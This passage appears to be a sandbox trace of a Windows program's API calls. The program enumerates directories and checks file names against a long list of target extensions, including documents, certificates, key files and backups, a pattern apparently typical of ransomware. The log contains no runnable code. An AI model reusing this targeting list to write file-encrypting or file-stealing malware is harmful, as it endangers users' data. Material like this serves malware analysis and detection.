lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".oqy") returned 4 [0140.737] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".orf") returned 4 [0140.737] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".p12") returned 4 [0140.737] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".p7b") returned 4 [0140.737] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".p7c") returned 4 [0140.737] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".pam") returned 4 [0140.737] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".pbm") returned 4 [0140.737] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".pct") returned 4 [0140.737] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".pcx") returned 4 [0140.737] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0140.737] lstrlenW (lpString=".pdd") returned 4 [0140.738] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pdf") returned 4 [0140.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pdp") returned 4 [0140.738] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pef") returned 4 [0140.738] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pem") returned 4 [0140.738] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pff") returned 4 [0140.738] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pfm") returned 4 [0140.738] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pfx") returned 4 [0140.738] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".pgm") returned 4 [0140.738] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".php") returned 4 [0140.738] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0140.738] lstrlenW (lpString=".php3") returned 5 [0140.738] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0140.738] lstrlenW (lpString=".php4") returned 5 [0140.738] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0140.738] lstrlenW (lpString=".php5") returned 5 [0140.738] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0140.738] lstrlenW (lpString=".phtml") returned 6 [0140.738] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0140.738] lstrlenW (lpString=".pict") returned 5 [0140.738] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0140.739] lstrlenW (lpString=".pl") returned 3 [0140.739] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0140.739] lstrlenW (lpString=".pls") returned 4 [0140.739] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".pm") returned 3 [0140.739] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0140.739] lstrlenW (lpString=".png") returned 4 [0140.739] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".pnm") returned 4 [0140.739] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".pot") returned 4 [0140.739] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".potm") returned 5 [0140.739] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0140.739] lstrlenW (lpString=".potx") returned 5 [0140.739] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0140.739] lstrlenW (lpString=".ppa") returned 4 [0140.739] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".ppam") returned 5 [0140.739] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0140.739] lstrlenW (lpString=".ppm") returned 4 [0140.739] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".pps") returned 4 [0140.739] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".ppsm") returned 5 [0140.739] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0140.739] lstrlenW (lpString=".ppt") returned 4 [0140.739] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.739] lstrlenW (lpString=".pptm") returned 5 [0140.740] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0140.740] lstrlenW (lpString=".pptx") returned 5 [0140.740] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0140.740] lstrlenW (lpString=".prn") returned 4 [0140.740] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0140.740] lstrlenW (lpString=".ps") returned 3 [0140.740] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0140.740] lstrlenW (lpString=".psb") returned 4 [0140.740] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0140.740] lstrlenW (lpString=".psd") returned 4 [0140.740] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0140.740] lstrlenW (lpString=".pst") returned 4 [0140.740] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0140.740] lstrlenW (lpString=".ptx") returned 4 [0140.740] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0140.740] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.740] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.740] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.740] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.741] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.741] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.741] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0140.741] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0140.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.824] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.825] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.825] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.825] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.825] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.827] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.827] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.827] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.828] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.828] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.828] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0140.828] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0140.828] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0 [0140.828] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0140.828] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0140.828] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0140.828] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4584f50 [0140.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 0x3e5bb98 [0140.829] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.829] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0140.829] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44d40b8 [0140.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0x3e5bed8 [0140.891] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44a40a0 [0140.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0x3e5b898 [0140.892] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0140.892] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.892] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.892] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.892] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44a40a0 [0140.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0x3e5b898 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0140.893] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.893] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0140.893] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.893] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44a40a0 [0140.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0x3e5b898 [0140.929] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.929] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x453ef58 [0140.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0x3e5c798 [0140.930] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0 [0140.930] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0140.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x453ef58 [0140.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0x3e5c798 [0140.931] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0140.931] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0140.931] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0 [0140.931] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0140.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0140.931] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0140.931] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0140.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0140.931] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44a40a0 [0140.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0x3e5b898 [0140.946] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.946] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0140.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x453ef58 [0140.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0x3e5c658 [0141.001] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0141.004] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0141.008] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0141.008] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0141.009] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.009] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.013] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0141.013] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0141.013] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0141.013] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0141.015] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0141.018] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.018] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.019] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.019] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.021] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0141.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.021] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 0 [0141.021] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0141.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.022] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0141.037] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0141.038] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0141.038] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 1 [0141.269] lstrlenW (lpString="Context.snippets.ps1xml") returned 23 [0141.269] lstrlenW (lpString=".1cd") returned 4 [0141.269] lstrcmpiW (lpString1=".1cd", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".3ds") returned 4 [0141.269] lstrcmpiW (lpString1=".3ds", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".3fr") returned 4 [0141.269] lstrcmpiW (lpString1=".3fr", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".3g2") returned 4 [0141.269] lstrcmpiW (lpString1=".3g2", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".3gp") returned 4 [0141.269] lstrcmpiW (lpString1=".3gp", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".7z") returned 3 [0141.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0141.269] lstrlenW (lpString=".accda") returned 6 [0141.269] lstrcmpiW (lpString1=".accda", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".accdb") returned 6 [0141.269] lstrcmpiW (lpString1=".accdb", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".accdc") returned 6 [0141.269] lstrcmpiW (lpString1=".accdc", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".accde") returned 6 [0141.269] lstrcmpiW (lpString1=".accde", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".accdt") returned 6 [0141.269] lstrcmpiW (lpString1=".accdt", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".accdw") returned 6 [0141.269] lstrcmpiW (lpString1=".accdw", lpString2="ps1xml") returned -1 [0141.269] lstrlenW (lpString=".adb") returned 4 [0141.269] lstrcmpiW (lpString1=".adb", lpString2="1xml") returned -1 [0141.269] lstrlenW (lpString=".adp") returned 4 [0141.269] lstrcmpiW (lpString1=".adp", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai") returned 3 [0141.270] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0141.270] lstrlenW (lpString=".ai3") returned 4 [0141.270] lstrcmpiW (lpString1=".ai3", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai4") returned 4 [0141.270] lstrcmpiW (lpString1=".ai4", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai5") returned 4 [0141.270] lstrcmpiW (lpString1=".ai5", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai6") returned 4 [0141.270] lstrcmpiW (lpString1=".ai6", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai7") returned 4 [0141.270] lstrcmpiW (lpString1=".ai7", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ai8") returned 4 [0141.270] lstrcmpiW (lpString1=".ai8", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".anim") returned 5 [0141.270] lstrcmpiW (lpString1=".anim", lpString2="s1xml") returned -1 [0141.270] lstrlenW (lpString=".arw") returned 4 [0141.270] lstrcmpiW (lpString1=".arw", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".as") returned 3 [0141.270] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0141.270] lstrlenW (lpString=".asa") returned 4 [0141.270] lstrcmpiW (lpString1=".asa", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".asc") returned 4 [0141.270] lstrcmpiW (lpString1=".asc", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".ascx") returned 5 [0141.270] lstrcmpiW (lpString1=".ascx", lpString2="s1xml") returned -1 [0141.270] lstrlenW (lpString=".asm") returned 4 [0141.270] lstrcmpiW (lpString1=".asm", lpString2="1xml") returned -1 [0141.270] lstrlenW (lpString=".asmx") returned 5 [0141.270] lstrcmpiW (lpString1=".asmx", lpString2="s1xml") returned -1 [0141.270] lstrlenW (lpString=".asp") returned 4 [0141.271] lstrcmpiW (lpString1=".asp", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".aspx") returned 5 [0141.271] lstrcmpiW (lpString1=".aspx", lpString2="s1xml") returned -1 [0141.271] lstrlenW (lpString=".asr") returned 4 [0141.271] lstrcmpiW (lpString1=".asr", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".asx") returned 4 [0141.271] lstrcmpiW (lpString1=".asx", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".avi") returned 4 [0141.271] lstrcmpiW (lpString1=".avi", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".avs") returned 4 [0141.271] lstrcmpiW (lpString1=".avs", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".backup") returned 7 [0141.271] lstrcmpiW (lpString1=".backup", lpString2=".ps1xml") returned -1 [0141.271] lstrlenW (lpString=".bak") returned 4 [0141.271] lstrcmpiW (lpString1=".bak", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".bay") returned 4 [0141.271] lstrcmpiW (lpString1=".bay", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".bd") returned 3 [0141.271] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0141.271] lstrlenW (lpString=".bin") returned 4 [0141.271] lstrcmpiW (lpString1=".bin", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".bmp") returned 4 [0141.271] lstrcmpiW (lpString1=".bmp", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".bz2") returned 4 [0141.271] lstrcmpiW (lpString1=".bz2", lpString2="1xml") returned -1 [0141.271] lstrlenW (lpString=".c") returned 2 [0141.271] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0141.271] lstrlenW (lpString=".cdr") returned 4 [0141.272] lstrcmpiW (lpString1=".cdr", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cer") returned 4 [0141.272] lstrcmpiW (lpString1=".cer", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cf") returned 3 [0141.272] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0141.272] lstrlenW (lpString=".cfc") returned 4 [0141.272] lstrcmpiW (lpString1=".cfc", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cfm") returned 4 [0141.272] lstrcmpiW (lpString1=".cfm", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cfml") returned 5 [0141.272] lstrcmpiW (lpString1=".cfml", lpString2="s1xml") returned -1 [0141.272] lstrlenW (lpString=".cfu") returned 4 [0141.272] lstrcmpiW (lpString1=".cfu", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".chm") returned 4 [0141.272] lstrcmpiW (lpString1=".chm", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cin") returned 4 [0141.272] lstrcmpiW (lpString1=".cin", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".class") returned 6 [0141.272] lstrcmpiW (lpString1=".class", lpString2="ps1xml") returned -1 [0141.272] lstrlenW (lpString=".clx") returned 4 [0141.272] lstrcmpiW (lpString1=".clx", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".config") returned 7 [0141.272] lstrcmpiW (lpString1=".config", lpString2=".ps1xml") returned -1 [0141.272] lstrlenW (lpString=".cpp") returned 4 [0141.272] lstrcmpiW (lpString1=".cpp", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cr2") returned 4 [0141.272] lstrcmpiW (lpString1=".cr2", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".crt") returned 4 [0141.272] lstrcmpiW (lpString1=".crt", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".crw") returned 4 [0141.272] lstrcmpiW (lpString1=".crw", lpString2="1xml") returned -1 [0141.272] lstrlenW (lpString=".cs") returned 3 [0141.273] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0141.273] lstrlenW (lpString=".css") returned 4 [0141.273] lstrcmpiW (lpString1=".css", lpString2="1xml") returned -1 [0141.273] lstrlenW (lpString=".csv") returned 4 [0141.273] lstrcmpiW 